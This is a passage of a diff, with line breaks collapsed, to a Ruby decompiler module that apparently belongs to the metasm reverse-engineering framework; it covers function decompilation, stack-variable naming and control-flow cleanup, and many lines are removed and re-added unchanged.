DecodedFunction.new - puts "autofunc #{Expression[ta]}" if $VERBOSE - end - - if @dasm.function[ta] and type != :subfuncret - f = dasm.auto_label_at(ta, 'func') - ta = dasm.normalize($1) if f =~ /^thunk_(.*)/ - ret = decompile_func_rec(ta) if (ta != entry or di.block.to_subfuncret) - throw :restart, :restart if ret == :restart - else - @dasm.auto_label_at(ta, 'label') if blocks.find { |aa, at| aa == ta } - blocks.last[1] |= [ta] - todo << ta - end - } - end - blocks - end - - # backtraces an expression from addr - # returns an integer, a label name, or an Expression - # XXX '(GetProcAddr("foo"))()' should not decompile to 'foo()' - def backtrace_target(expr, addr) - if n = @dasm.backtrace(expr, addr).first - return expr if n == Expression::Unknown - n = Expression[n].reduce_rec - n = @dasm.get_label_at(n) || n - n = $1 if n.kind_of? ::String and n =~ /^thunk_(.*)/ - n - else - expr - end - end - - # patches instruction's backtrace_binding to replace things referring to a static stack offset from func start by :frameptr+off - def makestackvars(funcstart, blocks) - blockstart = nil - cache_di = nil - cache = {} # [i_s, e, type] => backtrace - tovar = lambda { |di, e, i_s| - case e - when Expression; Expression[tovar[di, e.lexpr, i_s], e.op, tovar[di, e.rexpr, i_s]].reduce - when Indirection; Indirection[tovar[di, e.target, i_s], e.len, e.origin] - when :frameptr; e - when ::Symbol - cache.clear if cache_di != di ; cache_di = di - vals = cache[[e, i_s, 0]] ||= @dasm.backtrace(e, di.address, :snapshot_addr => blockstart, - :include_start => i_s, :no_check => true, :terminals => [:frameptr]) - # backtrace only to blockstart first - if vals.length == 1 and ee = vals.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer) or - (not ee.lexpr and ee.op == :+ and ee.rexpr.kind_of? Indirection and eep = ee.rexpr.pointer and - (eep == Expression[:frameptr] or (eep.lexpr == :frameptr and eep.op == :+ and eep.rexpr.kind_of? ::Integer)))) - ee - else - # fallback on full run (could restart from blockstart with ee, but may reevaluate addr_binding.. - vals = cache[[e, i_s, 1]] ||= @dasm.backtrace(e, di.address, :snapshot_addr => funcstart, - :include_start => i_s, :no_check => true, :terminals => [:frameptr]) - if vals.length == 1 and ee = vals.first and (ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer))) + # TODO add methods to C::CExpr + AssignOp = [:'=', :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'>>=', :'<<=', :'++', :'--'] + + attr_accessor :dasm, :c_parser + attr_accessor :forbid_optimize_dataflow, :forbid_optimize_code, :forbid_decompile_ifwhile, :forbid_decompile_types, :forbid_optimize_labels + # recursive flag: for each subfunction, recurse is decremented, when 0 only the prototype is decompiled, when <0 nothing is done + attr_accessor :recurse + + def initialize(dasm, cp = dasm.c_parser) + @dasm = dasm + @recurse = 1/0.0 # Infinity + @c_parser = cp || @dasm.cpu.new_cparser + end + + # decompile recursively function from an entrypoint, then perform global optimisation (static vars, ...) + # should be called once after everything is decompiled (global optimizations may bring bad results otherwise) + # use decompile_func for incremental decompilation + # returns the c_parser + def decompile(*entry) + entry.each { |f| decompile_func(f) } + finalize + @c_parser + end + + # decompile a function, decompiling subfunctions as needed + # may return :restart, which means that the decompilation should restart from the entrypoint (and bubble up) (eg a new codepath is found which may changes dependency in blocks etc) + def decompile_func(entry) + return if @recurse < 0 + entry = @dasm.normalize entry + return if not @dasm.decoded[entry] + + # create a new toplevel function to hold our code + func = C::Variable.new + func.name = @dasm.auto_label_at(entry, 'func') + if f = @dasm.function[entry] and f.decompdata and f.decompdata[:return_type] + rettype = f.decompdata[:return_type] + else + rettype = C::BaseType.new(:int) + end + func.type = C::Function.new rettype, [] + if @c_parser.toplevel.symbol[func.name] + return if @recurse == 0 + if not @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } + # recursive dependency: declare prototype + puts "function #{func.name} is recursive: predecompiling for prototype" if $VERBOSE + pre_recurse = @recurse + @recurse = 0 + @c_parser.toplevel.symbol.delete func.name + decompile_func(entry) + @recurse = pre_recurse + if not dcl = @c_parser.toplevel.statements.grep(C::Declaration).find { |decl| decl.var.name == func.name } + @c_parser.toplevel.statements << C::Declaration.new(func) + end + end + return + end + @c_parser.toplevel.symbol[func.name] = func + puts "decompiling #{func.name}" if $VERBOSE + + while catch(:restart) { do_decompile_func(entry, func) } == :restart + retval = :restart + end + + @c_parser.toplevel.symbol[func.name] = func # recursive func prototype could have overwritten us + @c_parser.toplevel.statements << C::Declaration.new(func) + + puts " decompiled #{func.name}" if $VERBOSE + + retval + end + + # calls decompile_func with recurse -= 1 (internal use) + def decompile_func_rec(entry) + @recurse -= 1 + decompile_func(entry) + ensure + @recurse += 1 + end + + def do_decompile_func(entry, func) + # find decodedinstruction graph of the function, decompile subfuncs + myblocks = listblocks_func(entry) + + # [esp+8] => [:frameptr-12] + makestackvars entry, myblocks.map { |b, to| @dasm.decoded[b].block } + + # find registry dependencies between blocks + deps = @dasm.cpu.decompile_func_finddeps(self, myblocks, func) + + scope = func.initializer = C::Block.new(@c_parser.toplevel) + if df = @dasm.function[entry] + scope.decompdata = df.decompdata ||= {:stackoff_type => {}, :stackoff_name => {}} + else + scope.decompdata ||= {:stackoff_type => {}, :stackoff_name => {}} + end + + # di blocks => raw c statements, declare variables + @dasm.cpu.decompile_blocks(self, myblocks, deps, func) + + simplify_goto(scope) + namestackvars(scope) + unalias_vars(scope, func) + decompile_c_types(scope) + optimize(scope) + remove_unreferenced_vars(scope) + cleanup_var_decl(scope, func) + if @recurse > 0 + decompile_controlseq(scope) + optimize_vars(scope) + optimize_ctrl(scope) + optimize_vars(scope) + remove_unreferenced_vars(scope) + simplify_varname_noalias(scope) + rename_variables(scope) + end + @dasm.cpu.decompile_check_abi(self, entry, func) + + case ret = scope.statements.last + when C::CExpression; puts "no return at end of func" if $VERBOSE + when C::Return + if not ret.value + scope.statements.pop + else + v = ret.value + v = v.rexpr if v.kind_of? C::CExpression and not v.op and v.rexpr.kind_of? C::Typed + func.type.type = v.type + end + end + + if @recurse == 0 + # we need only the prototype + func.initializer = nil + end + end + + # redecompile a function, redecompiles functions calling it if its prototype changed + def redecompile(name) + @c_parser.toplevel.statements.delete_if { |st| st.kind_of? C::Declaration and st.var.name == name } + oldvar = @c_parser.toplevel.symbol.delete name + + decompile_func(name) + + if oldvar and newvar = @c_parser.toplevel.symbol[name] and oldvar.type.kind_of? C::Function and newvar.type.kind_of? C::Function + o, n = oldvar.type, newvar.type + if o.type != n.type or o.args.to_a.length != n.args.to_a.length or o.args.to_a.zip(n.args.to_a).find { |oa, na| oa.type != na.type } + # XXX a may depend on b and c, and b may depend on c -> redecompile c twice + # XXX if the dcmp is unstable, may also infinite loop on mutually recursive funcs.. + @c_parser.toplevel.statements.dup.each { |st| + next if not st.kind_of? C::Declaration + next if not st.var.initializer + next if st.var.name == name + next if not walk_ce(st) { |ce| break true if ce.op == :funcall and ce.lexpr.kind_of? C::Variable and ce.lexpr.name == name } + redecompile(st.var.name) + } + end + end + end + + def new_global_var(addr, type, scope=nil) + addr = @dasm.normalize(addr) + + # (almost) NULL ptr + return if addr.kind_of? Fixnum and addr >= 0 and addr < 32 + + # check preceding structure we're hitting + # TODO check what we step over when defining a new static struct + 0x100.times { |i_| + next if not n = @dasm.get_label_at(addr-i_) + next if not v = @c_parser.toplevel.symbol[n] + next if not v.type.pointer? or not v.type.pointed.untypedef.kind_of? C::Union + break if i_ == 0 # XXX it crashes later if we dont break here + next if sizeof(v.type.pointed) <= i_ + return structoffset(v.type.pointed.untypedef, C::CExpression[v], i_, nil) + } + + ptype = type.pointed.untypedef if type.pointer? + if ptype.kind_of? C::Function + name = @dasm.auto_label_at(addr, 'sub', 'xref', 'byte', 'word', 'dword', 'unk') + if @dasm.get_section_at(addr) and @recurse > 0 + puts "found function pointer to #{name}" if $VERBOSE + @dasm.disassemble(addr) if not @dasm.decoded[addr] # TODO disassemble_fast ? + f = @dasm.function[addr] ||= DecodedFunction.new + # TODO detect thunks (__noreturn) + f.decompdata ||= { :stackoff_type => {}, :stackoff_name => {} } + if not s = @c_parser.toplevel.symbol[name] or not s.initializer or not s.type.untypedef.kind_of? C::Function + os = @c_parser.toplevel.symbol.delete name + @c_parser.toplevel.statements.delete_if { |ts| ts.kind_of? C::Declaration and ts.var.name == name } + aoff = 1 + ptype.args.to_a.each { |a| + aoff = (aoff + @c_parser.typesize[:ptr] - 1) / @c_parser.typesize[:ptr] * @c_parser.typesize[:ptr] + f.decompdata[:stackoff_type][aoff] ||= a.type + f.decompdata[:stackoff_name][aoff] ||= a.name if a.name + aoff += sizeof(a) # ary ? + } + decompile_func_rec(addr) + s = @c_parser.toplevel.symbol[name] + walk_ce([@c_parser.toplevel, scope]) { |ce| + ce.lexpr = s if ce.lexpr == os + ce.rexpr = s if ce.rexpr == os + } if os and s # update existing references to old instance + # else redecompile with new prototye ? + end + end + end + + name = case (type.pointer? && tsz = sizeof(nil, ptype)) + when 1; 'byte' + when 2; 'word' + when 4; 'dword' + else 'unk' + end + name = 'stru' if ptype.kind_of? C::Union + name = @dasm.auto_label_at(addr, name, 'xref', 'byte', 'word', 'dword', 'unk', 'stru') + + if not var = @c_parser.toplevel.symbol[name] + var = C::Variable.new + var.name = name + var.type = type.pointer? ? C::Array.new(ptype) : type + @c_parser.toplevel.symbol[var.name] = var + @c_parser.toplevel.statements << C::Declaration.new(var) + end + if ptype.kind_of? C::Union and type.pointer? and s = @dasm.get_section_at(name) and s[0].ptr < s[0].length + # TODO struct init, array, fptrs.. + elsif type.pointer? and not type.pointed.untypedef.kind_of? C::Function and s = @dasm.get_section_at(name) and s[0].ptr < s[0].length and + [1, 2, 4].include? tsz and (not var.type.pointer? or sizeof(var.type.pointed) != sizeof(type.pointed) or not var.initializer) + # TODO do not overlap other statics (but labels may refer to elements of the array...) + data = (0..256).map { + v = s[0].decode_imm("u#{tsz*8}".to_sym, @dasm.cpu.endianness) + v = decompile_cexpr(v, @c_parser.toplevel) if v.kind_of? Expression # relocation + v + } + var.initializer = data.map { |v| C::CExpression[v, C::BaseType.new(:int)] } unless (data - [0]).empty? + if (tsz == 1 or tsz == 2) and eos = data.index(0) and (0..3).all? { |i| data[i] >= 0x20 and data[i] < 0x7f } # printable str + # XXX 0x80 with ruby1.9... + var.initializer = C::CExpression[data[0, eos].pack('C*'), C::Pointer.new(ptype)] rescue nil + end + if var.initializer.kind_of? ::Array and i = var.initializer.first and i.kind_of? C::CExpression and not i.op and i.rexpr.kind_of? C::Variable and + i.rexpr.type.kind_of? C::Function and not @dasm.get_section_at(@dasm.normalize(i.rexpr.name)) # iat_ExternalFunc + i.type = i.rexpr.type + type = var.type = C::Array.new(C::Pointer.new(i.type)) + var.initializer = [i] + end + var.initializer = nil if var.initializer.kind_of? ::Array and not type.untypedef.kind_of? C::Array + end + + # TODO patch existing references to addr ? (or would they have already triggered new_global_var?) + + # return the object to use to replace the raw addr + var + end + + # return an array of [address of block start, list of block to]] + # decompile subfunctions + def listblocks_func(entry) + @autofuncs ||= [] + blocks = [] + entry = dasm.normalize entry + todo = [entry] + while a = todo.pop + next if blocks.find { |aa, at| aa == a } + next if not di = @dasm.di_at(a) + blocks << [a, []] + di.block.each_to { |ta, type| + next if type == :indirect + ta = dasm.normalize ta + if type != :subfuncret and not @dasm.function[ta] and + (not @dasm.function[entry] or @autofuncs.include? entry) and + di.block.list.last.opcode.props[:saveip] + # possible noreturn function + # XXX call $+5; pop eax + @autofuncs << ta + @dasm.function[ta] = DecodedFunction.new + puts "autofunc #{Expression[ta]}" if $VERBOSE + end + + if @dasm.function[ta] and type != :subfuncret + f = dasm.auto_label_at(ta, 'func') + ta = dasm.normalize($1) if f =~ /^thunk_(.*)/ + ret = decompile_func_rec(ta) if (ta != entry or di.block.to_subfuncret) + throw :restart, :restart if ret == :restart + else + @dasm.auto_label_at(ta, 'label') if blocks.find { |aa, at| aa == ta } + blocks.last[1] |= [ta] + todo << ta + end + } + end + blocks + end + + # backtraces an expression from addr + # returns an integer, a label name, or an Expression + # XXX '(GetProcAddr("foo"))()' should not decompile to 'foo()' + def backtrace_target(expr, addr) + if n = @dasm.backtrace(expr, addr).first + return expr if n == Expression::Unknown + n = Expression[n].reduce_rec + n = @dasm.get_label_at(n) || n + n = $1 if n.kind_of? ::String and n =~ /^thunk_(.*)/ + n + else + expr + end + end + + # patches instruction's backtrace_binding to replace things referring to a static stack offset from func start by :frameptr+off + def makestackvars(funcstart, blocks) + blockstart = nil + cache_di = nil + cache = {} # [i_s, e, type] => backtrace + tovar = lambda { |di, e, i_s| + case e + when Expression; Expression[tovar[di, e.lexpr, i_s], e.op, tovar[di, e.rexpr, i_s]].reduce + when Indirection; Indirection[tovar[di, e.target, i_s], e.len, e.origin] + when :frameptr; e + when ::Symbol + cache.clear if cache_di != di ; cache_di = di + vals = cache[[e, i_s, 0]] ||= @dasm.backtrace(e, di.address, :snapshot_addr => blockstart, + :include_start => i_s, :no_check => true, :terminals => [:frameptr]) + # backtrace only to blockstart first + if vals.length == 1 and ee = vals.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or + (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer) or + (not ee.lexpr and ee.op == :+ and ee.rexpr.kind_of? Indirection and eep = ee.rexpr.pointer and + (eep == Expression[:frameptr] or (eep.lexpr == :frameptr and eep.op == :+ and eep.rexpr.kind_of? ::Integer)))) + ee + else + # fallback on full run (could restart from blockstart with ee, but may reevaluate addr_binding.. + vals = cache[[e, i_s, 1]] ||= @dasm.backtrace(e, di.address, :snapshot_addr => funcstart, + :include_start => i_s, :no_check => true, :terminals => [:frameptr]) + if vals.length == 1 and ee = vals.first and (ee.kind_of? Expression and (ee == Expression[:frameptr] or + (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer))) ee - else e - end - end - else e - end - } - - # must not change bt_bindings until everything is backtracked - repl_bind = {} # di => bt_bd - - @dasm.cpu.decompile_makestackvars(@dasm, funcstart, blocks) { |block| - block.list.each { |di| - bd = di.backtrace_binding ||= @dasm.cpu.get_backtrace_binding(di) - newbd = repl_bind[di] = {} - bd.each { |k, v| - k = tovar[di, k, true] if k.kind_of? Indirection - next if k == Expression[:frameptr] or (k.kind_of? Expression and k.lexpr == :frameptr and k.op == :+ and k.rexpr.kind_of? ::Integer) - newbd[k] = tovar[di, v, false] - } - } - } - - repl_bind.each { |di, bd| di.backtrace_binding = bd } - end - - # give a name to a stackoffset (relative to start of func) - # 4 => :arg_0, -8 => :var_4 etc - def stackoff_to_varname(off) - if off >= @c_parser.typesize[:ptr]; 'arg_%X' % ( off-@c_parser.typesize[:ptr]) # 4 => arg_0, 8 => arg_4.. - elsif off > 0; 'arg_0%X' % off - elsif off == 0; 'retaddr' - elsif off <= -@dasm.cpu.size/8; 'var_%X' % (-off-@dasm.cpu.size/8) # -4 => var_0, -8 => var_4.. - else 'var_0%X' % -off - end - end - - # turns an Expression to a CExpression, create+declares needed variables in scope - def decompile_cexpr(e, scope, itype=nil) - case e - when Expression - if e.op == :'=' and e.lexpr.kind_of? ::String and e.lexpr =~ /^dummy_metasm_/ - decompile_cexpr(e.rexpr, scope, itype) - elsif e.op == :+ and e.rexpr.kind_of? ::Integer and e.rexpr < 0 - decompile_cexpr(Expression[e.lexpr, :-, -e.rexpr], scope, itype) - elsif e.lexpr - a = decompile_cexpr(e.lexpr, scope, itype) - C::CExpression[a, e.op, decompile_cexpr(e.rexpr, scope, itype)] - elsif e.op == :+ - decompile_cexpr(e.rexpr, scope, itype) - else - a = decompile_cexpr(e.rexpr, scope, itype) - C::CExpression[e.op, a] - end - when Indirection - case e.len - when 1, 2, 4, 8 - bt = C::BaseType.new("__int#{e.len*8}".to_sym) - else - bt = C::Struct.new - bt.members = [C::Variable.new('data', C::Array.new(C::BaseType.new(:__int8), e.len))] - end - itype = C::Pointer.new(bt) - p = decompile_cexpr(e.target, scope, itype) - p = C::CExpression[[p], itype] if not p.type.kind_of? C::Pointer - C::CExpression[:*, p] - when ::Integer - C::CExpression[e] - when C::CExpression - e - else - name = e.to_s - if not s = scope.symbol_ancestors[name] - s = C::Variable.new - s.type = C::BaseType.new(:__int32) - case e - when ::String # edata relocation (rel.length = size of pointer) - return @c_parser.toplevel.symbol[e] || new_global_var(e, itype || C::BaseType.new(:int), scope) - when ::Symbol; s.storage = :register ; s.add_attribute("register(#{name})") - else s.type.qualifier = [:volatile] - puts "decompile_cexpr unhandled #{e.inspect}, using #{e.to_s.inspect}" if $VERBOSE - end - s.name = name - scope.symbol[s.name] = s - scope.statements << C::Declaration.new(s) - end - s - end - end - - # simplify goto -> goto / goto -> return - def simplify_goto(scope, keepret = false) - if not keepret and scope.statements[-1].kind_of? C::Return and not scope.statements[-2].kind_of? C::Label - scope.statements.insert(-2, C::Label.new("ret_label")) - end - - jumpto = {} - walk(scope) { |s| - next if not s.kind_of? C::Block - s.statements.each_with_index { |ss, i| - case ss - when C::Goto, C::Return - while l = s.statements[i -= 1] and l.kind_of? C::Label - jumpto[l.name] = ss - end - end - } - } - - simpler = lambda { |s| - case s - when C::Goto - if jumpto[s.target] - r = jumpto[s.target].dup - r.value = r.value.deep_dup if r.kind_of? C::Return and r.value.kind_of? C::CExpression - r - end - when C::Return - if not keepret and scope.statements[-1].kind_of? C::Return and s.value == scope.statements[-1].value and s != scope.statements[-1] - C::Goto.new(scope.statements[-2].name) - end - end - } - - walk(scope) { |s| - case s - when C::Block - s.statements.each_with_index { |ss, i| - if sp = simpler[ss] - ss = s.statements[i] = sp - end - } - when C::If - if sp = simpler[s.bthen] - s.bthen = sp - end - end - } - - # remove unreferenced labels - remove_labels(scope) - - walk(scope) { |s| - next if not s.kind_of? C::Block - del = false - # remove dead code goto a; goto b; if (0) { z: bla; } => rm goto b - s.statements.delete_if { |st| - case st - when C::Goto, C::Return - olddel = del - del = true - olddel - else - del = false - end - } - # if () { goto x; } x: - s.statements.each_with_index { |ss, i| - if ss.kind_of? C::If - t = ss.bthen - t = t.statements.first if t.kind_of? C::Block - if t.kind_of? C::Goto and s.statements[i+1].kind_of? C::Label and s.statements[i+1].name == t.target - ss.bthen = C::Block.new(scope) - end - end - } - } - - remove_labels(scope) - end - - # changes ifgoto, goto to while/ifelse.. - def decompile_controlseq(scope) - # TODO replace all this crap by a method using the graph representation - scope.statements = decompile_cseq_if(scope.statements, scope) - remove_labels(scope) - scope.statements = decompile_cseq_if(scope.statements, scope) - remove_labels(scope) - # TODO harmonize _if/_while api (if returns a replacement, while patches) - decompile_cseq_while(scope.statements, scope) - decompile_cseq_switch(scope) - end - - # optimize if() { a; } to if() a; - def optimize_ctrl(scope) - simplify_goto(scope, true) - - # break/continue - # XXX if (foo) while (bar) goto bla; bla: should => break - walk = lambda { |e, brk, cnt| - case e - when C::Block - walk[e.statements, brk, cnt] - e - when ::Array - e.each_with_index { |st, i| - case st - when C::While, C::DoWhile - l1 = (e[i+1].name if e[i+1].kind_of? C::Label) - l2 = (e[i-1].name if e[i-1].kind_of? C::Label) - e[i].body = walk[st.body, l1, l2] - else - e[i] = walk[st, brk, cnt] - end - } - e - when C::If - e.bthen = walk[e.bthen, brk, cnt] if e.bthen - e.belse = walk[e.belse, brk, cnt] if e.belse - e - when C::While, C::DoWhile - e.body = walk[e.body, nil, nil] - e - when C::Goto - if e.target == brk - C::Break.new - elsif e.target == cnt - C::Continue.new - else e - end - else e - end - } - walk[scope, nil, nil] - - remove_labels(scope) - - # while (1) { a; if(b) { c; return; }; d; } => while (1) { a; if (b) break; d; } c; - while st = scope.statements.last and st.kind_of? C::While and st.test.kind_of? C::CExpression and - not st.test.op and st.test.rexpr == 1 and st.body.kind_of? C::Block - break if not i = st.body.statements.find { |ist| - ist.kind_of? C::If and not ist.belse and ist.bthen.kind_of? C::Block and ist.bthen.statements.last.kind_of? C::Return - } - walk(i.bthen.statements) { |sst| sst.outer = i.bthen.outer if sst.kind_of? C::Block and sst.outer == i.bthen } - scope.statements.concat i.bthen.statements - i.bthen = C::Break.new - end - - patch_test = lambda { |ce| - ce = ce.rexpr if ce.kind_of? C::CExpression and ce.op == :'!' - # if (a+1) => if (a != -1) - if ce.kind_of? C::CExpression and (ce.op == :+ or ce.op == :-) and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and ce.lexpr - ce.rexpr.rexpr = -ce.rexpr.rexpr if ce.op == :+ - ce.op = :'!=' - end - } - - walk(scope) { |ce| - case ce - when C::If - patch_test[ce.test] - if ce.bthen.kind_of? C::Block + else e + end + end + else e + end + } + + # must not change bt_bindings until everything is backtracked + repl_bind = {} # di => bt_bd + + @dasm.cpu.decompile_makestackvars(@dasm, funcstart, blocks) { |block| + block.list.each { |di| + bd = di.backtrace_binding ||= @dasm.cpu.get_backtrace_binding(di) + newbd = repl_bind[di] = {} + bd.each { |k, v| + k = tovar[di, k, true] if k.kind_of? Indirection + next if k == Expression[:frameptr] or (k.kind_of? Expression and k.lexpr == :frameptr and k.op == :+ and k.rexpr.kind_of? ::Integer) + newbd[k] = tovar[di, v, false] + } + } + } + + repl_bind.each { |di, bd| di.backtrace_binding = bd } + end + + # give a name to a stackoffset (relative to start of func) + # 4 => :arg_0, -8 => :var_4 etc + def stackoff_to_varname(off) + if off >= @c_parser.typesize[:ptr]; 'arg_%X' % ( off-@c_parser.typesize[:ptr]) # 4 => arg_0, 8 => arg_4.. + elsif off > 0; 'arg_0%X' % off + elsif off == 0; 'retaddr' + elsif off <= -@dasm.cpu.size/8; 'var_%X' % (-off-@dasm.cpu.size/8) # -4 => var_0, -8 => var_4.. + else 'var_0%X' % -off + end + end + + # turns an Expression to a CExpression, create+declares needed variables in scope + def decompile_cexpr(e, scope, itype=nil) + case e + when Expression + if e.op == :'=' and e.lexpr.kind_of? ::String and e.lexpr =~ /^dummy_metasm_/ + decompile_cexpr(e.rexpr, scope, itype) + elsif e.op == :+ and e.rexpr.kind_of? ::Integer and e.rexpr < 0 + decompile_cexpr(Expression[e.lexpr, :-, -e.rexpr], scope, itype) + elsif e.lexpr + a = decompile_cexpr(e.lexpr, scope, itype) + C::CExpression[a, e.op, decompile_cexpr(e.rexpr, scope, itype)] + elsif e.op == :+ + decompile_cexpr(e.rexpr, scope, itype) + else + a = decompile_cexpr(e.rexpr, scope, itype) + C::CExpression[e.op, a] + end + when Indirection + case e.len + when 1, 2, 4, 8 + bt = C::BaseType.new("__int#{e.len*8}".to_sym) + else + bt = C::Struct.new + bt.members = [C::Variable.new('data', C::Array.new(C::BaseType.new(:__int8), e.len))] + end + itype = C::Pointer.new(bt) + p = decompile_cexpr(e.target, scope, itype) + p = C::CExpression[[p], itype] if not p.type.kind_of? C::Pointer + C::CExpression[:*, p] + when ::Integer + C::CExpression[e] + when C::CExpression + e + else + name = e.to_s + if not s = scope.symbol_ancestors[name] + s = C::Variable.new + s.type = C::BaseType.new(:__int32) + case e + when ::String # edata relocation (rel.length = size of pointer) + return @c_parser.toplevel.symbol[e] || new_global_var(e, itype || C::BaseType.new(:int), scope) + when ::Symbol; s.storage = :register ; s.add_attribute("register(#{name})") + else s.type.qualifier = [:volatile] + puts "decompile_cexpr unhandled #{e.inspect}, using #{e.to_s.inspect}" if $VERBOSE + end + s.name = name + scope.symbol[s.name] = s + scope.statements << C::Declaration.new(s) + end + s + end + end + + # simplify goto -> goto / goto -> return + def simplify_goto(scope, keepret = false) + if not keepret and scope.statements[-1].kind_of? C::Return and not scope.statements[-2].kind_of? C::Label + scope.statements.insert(-2, C::Label.new("ret_label")) + end + + jumpto = {} + walk(scope) { |s| + next if not s.kind_of? C::Block + s.statements.each_with_index { |ss, i| + case ss + when C::Goto, C::Return + while l = s.statements[i -= 1] and l.kind_of? C::Label + jumpto[l.name] = ss + end + end + } + } + + simpler = lambda { |s| + case s + when C::Goto + if jumpto[s.target] + r = jumpto[s.target].dup + r.value = r.value.deep_dup if r.kind_of? C::Return and r.value.kind_of? C::CExpression + r + end + when C::Return + if not keepret and scope.statements[-1].kind_of? C::Return and s.value == scope.statements[-1].value and s != scope.statements[-1] + C::Goto.new(scope.statements[-2].name) + end + end + } + + walk(scope) { |s| + case s + when C::Block + s.statements.each_with_index { |ss, i| + if sp = simpler[ss] + ss = s.statements[i] = sp + end + } + when C::If + if sp = simpler[s.bthen] + s.bthen = sp + end + end + } + + # remove unreferenced labels + remove_labels(scope) + + walk(scope) { |s| + next if not s.kind_of? C::Block + del = false + # remove dead code goto a; goto b; if (0) { z: bla; } => rm goto b + s.statements.delete_if { |st| + case st + when C::Goto, C::Return + olddel = del + del = true + olddel + else + del = false + end + } + # if () { goto x; } x: + s.statements.each_with_index { |ss, i| + if ss.kind_of? C::If + t = ss.bthen + t = t.statements.first if t.kind_of? C::Block + if t.kind_of? C::Goto and s.statements[i+1].kind_of? C::Label and s.statements[i+1].name == t.target + ss.bthen = C::Block.new(scope) + end + end + } + } + + remove_labels(scope) + end + + # changes ifgoto, goto to while/ifelse.. + def decompile_controlseq(scope) + # TODO replace all this crap by a method using the graph representation + scope.statements = decompile_cseq_if(scope.statements, scope) + remove_labels(scope) + scope.statements = decompile_cseq_if(scope.statements, scope) + remove_labels(scope) + # TODO harmonize _if/_while api (if returns a replacement, while patches) + decompile_cseq_while(scope.statements, scope) + decompile_cseq_switch(scope) + end + + # optimize if() { a; } to if() a; + def optimize_ctrl(scope) + simplify_goto(scope, true) + + # break/continue + # XXX if (foo) while (bar) goto bla; bla: should => break + walk = lambda { |e, brk, cnt| + case e + when C::Block + walk[e.statements, brk, cnt] + e + when ::Array + e.each_with_index { |st, i| + case st + when C::While, C::DoWhile + l1 = (e[i+1].name if e[i+1].kind_of? C::Label) + l2 = (e[i-1].name if e[i-1].kind_of? C::Label) + e[i].body = walk[st.body, l1, l2] + else + e[i] = walk[st, brk, cnt] + end + } + e + when C::If + e.bthen = walk[e.bthen, brk, cnt] if e.bthen + e.belse = walk[e.belse, brk, cnt] if e.belse + e + when C::While, C::DoWhile + e.body = walk[e.body, nil, nil] + e + when C::Goto + if e.target == brk + C::Break.new + elsif e.target == cnt + C::Continue.new + else e + end + else e + end + } + walk[scope, nil, nil] + + remove_labels(scope) + + # while (1) { a; if(b) { c; return; }; d; } => while (1) { a; if (b) break; d; } c; + while st = scope.statements.last and st.kind_of? C::While and st.test.kind_of? C::CExpression and + not st.test.op and st.test.rexpr == 1 and st.body.kind_of? C::Block + break if not i = st.body.statements.find { |ist| + ist.kind_of? C::If and not ist.belse and ist.bthen.kind_of? C::Block and ist.bthen.statements.last.kind_of? C::Return + } + walk(i.bthen.statements) { |sst| sst.outer = i.bthen.outer if sst.kind_of? C::Block and sst.outer == i.bthen } + scope.statements.concat i.bthen.statements + i.bthen = C::Break.new + end + + patch_test = lambda { |ce| + ce = ce.rexpr if ce.kind_of? C::CExpression and ce.op == :'!' + # if (a+1) => if (a != -1) + if ce.kind_of? C::CExpression and (ce.op == :+ or ce.op == :-) and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and ce.lexpr + ce.rexpr.rexpr = -ce.rexpr.rexpr if ce.op == :+ + ce.op = :'!=' + end + } + + walk(scope) { |ce| + case ce + when C::If + patch_test[ce.test] + if ce.bthen.kind_of? C::Block case ce.bthen.statements.length - when 1 - walk(ce.bthen.statements) { |sst| sst.outer = ce.bthen.outer if sst.kind_of? C::Block and sst.outer == ce.bthen } - ce.bthen = ce.bthen.statements.first - when 0 + when 1 + walk(ce.bthen.statements) { |sst| sst.outer = ce.bthen.outer if sst.kind_of? C::Block and sst.outer == ce.bthen } + ce.bthen = ce.bthen.statements.first + when 0 if not ce.belse and i = ce.bthen.outer.statements.index(ce) - ce.bthen.outer.statements[i] = ce.test # TODO remove sideeffectless parts - end - end - end - if ce.belse.kind_of? C::Block and ce.belse.statements.length == 1 - walk(ce.belse.statements) { |sst| sst.outer = ce.belse.outer if sst.kind_of? C::Block and sst.outer == ce.belse } - ce.belse = ce.belse.statements.first - end - when C::While, C::DoWhile - patch_test[ce.test] - if ce.body.kind_of? C::Block - case ce.body.statements.length - when 1 - walk(ce.body.statements) { |sst| sst.outer = ce.body.outer if sst.kind_of? C::Block and sst.outer == ce.body } - ce.body = ce.body.statements.first - when 0 - if ce.kind_of? C::DoWhile and i = ce.body.outer.statements.index(ce) - ce = ce.body.outer.statements[i] = C::While.new(ce.test, ce.body) - end - ce.body = nil - end - end - end - } - walk(scope) { |ce| - next if not ce.kind_of? C::Block - st = ce.statements - st.length.times { |n| - while st[n].kind_of? C::If and st[n+1].kind_of? C::If and not st[n].belse and not st[n+1].belse and ( - (st[n].bthen.kind_of? C::Return and st[n+1].bthen.kind_of? C::Return and st[n].bthen.value == st[n+1].bthen.value) or - (st[n].bthen.kind_of? C::Break and st[n+1].bthen.kind_of? C::Break) or - (st[n].bthen.kind_of? C::Continue and st[n+1].bthen.kind_of? C::Continue)) - # if (a) return x; if (b) return x; => if (a || b) return x; - st[n].test = C::CExpression[st[n].test, :'||', st[n+1].test] - st.delete_at(n+1) - end - } - } - end - - # ifgoto => ifthen - # ary is an array of statements where we try to find if () {} [else {}] - # recurses to then/else content - def decompile_cseq_if(ary, scope) - return ary if forbid_decompile_ifwhile - # the array of decompiled statements to use as replacement - ret = [] - # list of labels appearing in ary - inner_labels = ary.grep(C::Label).map { |l| l.name } - while s = ary.shift - # recurse if it's not the first run - if s.kind_of? C::If - s.bthen.statements = decompile_cseq_if(s.bthen.statements, s.bthen) if s.bthen.kind_of? C::Block - s.belse.statements = decompile_cseq_if(s.belse.statements, s.belse) 